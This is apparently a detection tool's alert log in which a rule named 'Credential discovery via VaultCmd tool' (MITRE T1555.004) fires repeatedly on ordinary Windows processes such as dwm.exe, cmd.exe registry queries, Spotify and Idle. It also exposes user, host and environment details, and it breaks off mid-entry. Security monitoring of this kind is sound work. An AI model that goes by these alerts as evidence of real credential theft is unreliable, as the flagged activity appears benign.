+time=2025-11-03T23:09:08+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1362842 + Pid: 1556 + Tid: 2384 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:09:07.6209519 +0100 CET + Params: file_key➜ ffff808cbe9ff390, offset➜ 0, pid➜ 1556, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e226420000, view_size➜ 4096 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, subtechnique.id: T1555.004, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, tactic.name: Credential Access + + Pid: 1556 + Ppid: 680 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:09:27+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1363872 + Pid: 1556 + Tid: 2384 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:09:25.7111102 +0100 CET + Params: file_key➜ ffff808cc8fd8a10, offset➜ 0, pid➜ 1556, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e226440000, view_size➜ 4096 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, tactic.name: Credential Access, subtechnique.id: T1555.004, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager + + Pid: 1556 + Ppid: 680 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:12:21+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1412832 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:20.5075576 +0100 CET + Params: file_key➜ ffff808cee64cc80, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1aad0000, view_size➜ 311296 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:13:04+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1472917 + Pid: 944 + Tid: 17136 + Type: MapViewFile + CPU: 4 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:55.5466134 +0100 CET + Params: file_key➜ ffff808cd7241b30, offset➜ 0, pid➜ 944, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 21bfcaa0000, view_size➜ 65536 + Metadata: subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, technique.id: T1555, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 944 + Ppid: 936 + Name: csrss.exe + Parent name: svchost.exe + Cmdline: %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 + Parent cmdline: + Exe: C:\WINDOWS\system32\csrss.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:13:07+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1470538 + Pid: 6972 + Tid: 3656 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:55.3676769 +0100 CET + Params: file_key➜ ffff808cbe3de790, offset➜ 0, pid➜ 6972, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 18c2d1f0000, view_size➜ 16384 + Metadata: tactic.id: TA0006, subtechnique.id: T1555.004, technique.id: T1555, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 6972 + Ppid: 20528 + Name: cmd.exe + Parent name: cmd.exe + Cmdline: C:\WINDOWS\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\VisualStudio\SxS\VC7" /v "FrameworkDir32" + Parent cmdline: "C:\WINDOWS\system32\cmd.exe" /c VsDevCmd.bat&set + Exe: C:\WINDOWS\system32\cmd.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\VisualStudio\SxS\VC7" /v "FrameworkDir32"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:13:07+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1470563 + Pid: 6972 + Tid: 3656 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:55.3685395 +0100 CET + Params: file_key➜ ffff808ce222a150, offset➜ 0, pid➜ 6972, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 18c2d200000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, technique.id: T1555, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager + + Pid: 6972 + Ppid: 20528 + Name: cmd.exe + Parent name: cmd.exe + Cmdline: C:\WINDOWS\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\VisualStudio\SxS\VC7" /v "FrameworkDir32" + Parent cmdline: "C:\WINDOWS\system32\cmd.exe" /c VsDevCmd.bat&set + Exe: C:\WINDOWS\system32\cmd.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\VisualStudio\SxS\VC7" /v "FrameworkDir32"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:13:07+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1485814 + Pid: 2332 + Tid: 8296 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:56.5591779 +0100 CET + Params: file_key➜ ffff808cc043d600, file_path➜ C:\Windows\System32\C_437.NLS, offset➜ 0, pid➜ 2332, protection➜ READONLY, section_type➜ DATA, type➜ File, view_base➜ 1c3fcc70000, view_size➜ 69632 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, subtechnique.id: T1555.004, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 2332 + Ppid: 20528 + Name: cmd.exe + Parent name: cmd.exe + Cmdline: C:\WINDOWS\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Microsoft SDKs\NETFXSDK\4.8" /v "KitsInstallationFolder" + Parent cmdline: "C:\WINDOWS\system32\cmd.exe" /c VsDevCmd.bat&set + Exe: C:\WINDOWS\system32\cmd.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Microsoft SDKs\NETFXSDK\4.8" /v "KitsInstallationFolder"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:13:09+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1499932 + Pid: 13000 + Tid: 9452 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:57.9321986 +0100 CET + Params: file_key➜ ffff808cee510000, offset➜ 0, pid➜ 13000, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 2be1c020000, view_size➜ 2097152 + Metadata: subtechnique.id: T1555.004, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, tactic.name: Credential Access + + Pid: 13000 + Ppid: 5012 + Name: Spotify.exe + Parent name: Spotify.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --type=renderer --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --user-data-dir="C:\Users\nedo\AppData\Local\Spotify" --log-severity=disable --user-agent-product="Chrome/140.0.7339.214 Spotify/1.2.75.510" --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1762201823250612 --launch-time-ticks=150813688 --metrics-shmem-handle=6660,i,11786461746762787705,9446442223279727926,2097152 --field-trial-handle=2552,i,11043612163279747556,1477507435023245735,262144 --disable-features=BackForwardCache,FullscreenBubbleShowOrigin,HardwareMediaKeyHandling,LensOverlay,PartitionAllocDanglingPtr,PartitionAllocUnretainedDanglingPtr,StorageNotificationService --variations-seed-version --enable-logging=handle --log-file=6220 --mojo-platform-channel-handle + Parent cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --type=renderer --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --user-data-dir="C:\Users\nedo\AppData\Local\Spotify" --log-severity=disable --user-agent-product="Chrome/140.0.7339.214 Spotify/1.2.75.510" --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1762201823250612 --launch-time-ticks=150813688 --metrics-shmem-handle=6660,i,11786461746762787705,9446442223279727926,2097152 --field-trial-handle=2552,i,11043612163279747556,1477507435023245735,262144 --disable-features=BackForwardCache,FullscreenBubbleShowOrigin,HardwareMediaKeyHandling,LensOverlay,PartitionAllocDanglingPtr,PartitionAllocUnretainedDanglingPtr,StorageNotificationService --variations-seed-version --enable-logging=handle --log-file=6220 --mojo-platform-channel-handle] + Session ID: 1 + Envs: map[CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_5012_BPKPWUOSQQDNBAFJ LOCALAPPDATA:C:\Users\nedo\AppData\Local Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp] + + + source=action/alert.go:37 +time=2025-11-03T23:13:15+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1495794 + Pid: 0 + Tid: 18228 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:57.5971465 +0100 CET + Params: file_key➜ ffff808cbe202260, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 7df5d6360000, view_size➜ 4096 + Metadata: technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, subtechnique.id: T1555.004, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, rule.name: Credential discovery via VaultCmd tool + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:10+01:00 level=info msg=sending alert: [Credential discovery 